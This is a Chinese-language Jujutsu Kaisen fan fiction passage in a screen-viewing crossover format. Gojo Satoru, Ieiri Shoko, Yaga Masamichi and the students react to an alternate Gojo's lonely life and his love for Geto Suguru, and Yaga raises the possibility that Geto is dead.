“而且,错不全在他。”白发咒术师又一次听见了那个夏日的蝉鸣。
五条悟所见的是另一个世界,另一种人生,一切都因特殊的那个存在而不同。
他曾独自一人去看过海,大海的浪潮不足以将他吞没,白色的沙砾上只有一人踩过的脚印,没有第二个人。他也曾在冬天里吃过好几个冰淇淋,事后蹲在马路上感到一阵肚子疼,没有另一个人的说教与安抚。五条悟什么都没有,什么都不曾有过。
在未曾见过夏油杰之前,他不知何为孤独,不知何为挚友,也不知何为爱。
当时还年轻的、身为同位体的白发少年自是没有意识到爱这种东西,它从年少时就始终存在,但无畏无惧的六眼神子尚不明确、也不知该如何定义这份感情。而五条悟不同。他独自一人走过这十几年,见过人间冷暖,在陌生的人潮拥挤间见到太多爱欲痴念了,虽只是旁观,但好歹仗着这些年一路走来总结下来的所见,至少能分辨出那份自己不曾有过的情感。
而现在,有陌生的情感如长久存在的潮水般涌入五条悟的心底,他在遥远的大海深处看见夏油杰,后者用熟悉的目光回望——你看见的是我吗?
他与他都陷入那由夏油杰构成的青春之中,而五条悟却始终有一堵高墙无法跨越。他无法克制地嫉妒另一个自己,缘由显而易见。有这样一个人想着你,陪着你玩闹,知道你所有的生气与委屈,又唯恐你落泪。
当最强谈及夏油杰时,他在谈论什么?
答案是爱。
“你爱他。”家入硝子这样说道。而年轻的学生犹疑不定她指的是哪个五条悟,又或者两个都是。但这句话他们谁都不敢妄自定论。
“那我是刚开始就输了吗?”五条悟清楚这个答案,“我好不甘心,硝子。”
家入硝子有种错觉,那最强咒术师不管是念她的名字还是说出这句话时,他的神情在某一刻与隔壁的那一人重合起来。
“这不是我们的世界。”她接着他的话给出了这样一句回应,有无形的赌局在言语中落下个结局来,谁也没有赢。而这两人间的气氛却有所缓和起来,是终于达成了一致认知的认输。
学生们没有轻易地开口,那并不是他们能参与进去的。他们这些后辈仅是在旁边看着,也能体会到难言的苦涩。六眼神子说这话时,怕是从未想过十年后的一切会变得面目全非,这对于他来说无疑太残忍、也太痛苦了。
过去的承诺与期许已然不复存在,但当下,三年青春的一角被掀出来,那个年轻的黑发咒术师在回忆中是那么纯粹而无害,以至于学生想起他后来的背叛觉得更无法理解、也更加伤人。三个人整整齐齐、两名高专老师和女医师,在未来的想象中不多不少,他们之间的情谊也恒久不变,这么一想的话,东京高专无疑会添很多的欢声笑语,那也足以令学生们善意地发笑。
但两个世界都并不是这般,真的会有一个完美的世界存在于此间吗?
“接下来就是最后一场了。”夜蛾正道看着暗下去的银幕说道,随之而来的会是最后一轮观影。他们仍旧有很多不知晓的事情,而从隔壁的那两人的对话与语气中,也能察觉出一些东西。
校长近乎是叹了一声才开口,“我有一个猜测,我觉得你们应该听一下。”他的目光投向家入硝子和五条悟身上,是不难看出的忧虑与认真。自从他们两人毕业后,曾经的师长很少再用这副神情跟他们讲话了。
“我认为,”夜蛾正道沉着声说道,声音不大不小足以令在场所有人听清楚,“夏油杰有可能死了。”
“不,”第一个反驳的就是五条悟,“怎么可能?”他几乎下意识就否认了这个可能,“杰的实力也就比我差了点。”
虎杖悠仁忍不住插了句嘴,“我也觉得这不太可能,无论是隔壁的五条老师还是家入小姐都从来没有提过。”
恰恰是这样,才让夜蛾正道产生这种想法,在场很少有人真的见证过熟悉的咒术师的死亡,他可能是你的同期,你的友人,你的学生。你所熟知的人早早地死去,而之后提起却是化为伤疤一样的存在,触及便是无言的痛苦。在咒术界教书教了许多年的夜蛾正道,体验过不少来自亲手教出的学生的伤痛,而七海建人则因为前者。
“那你觉得会是谁杀了他?”五条悟语气很不好地问向夜蛾正道。
而七海建人却比夜蛾正道先给出了一个答案,他摇了摇头,“应该说是。”
“谁又能杀得了他。”
就在这时,新的一轮开始了。
【——这是你所希望的世界吗?】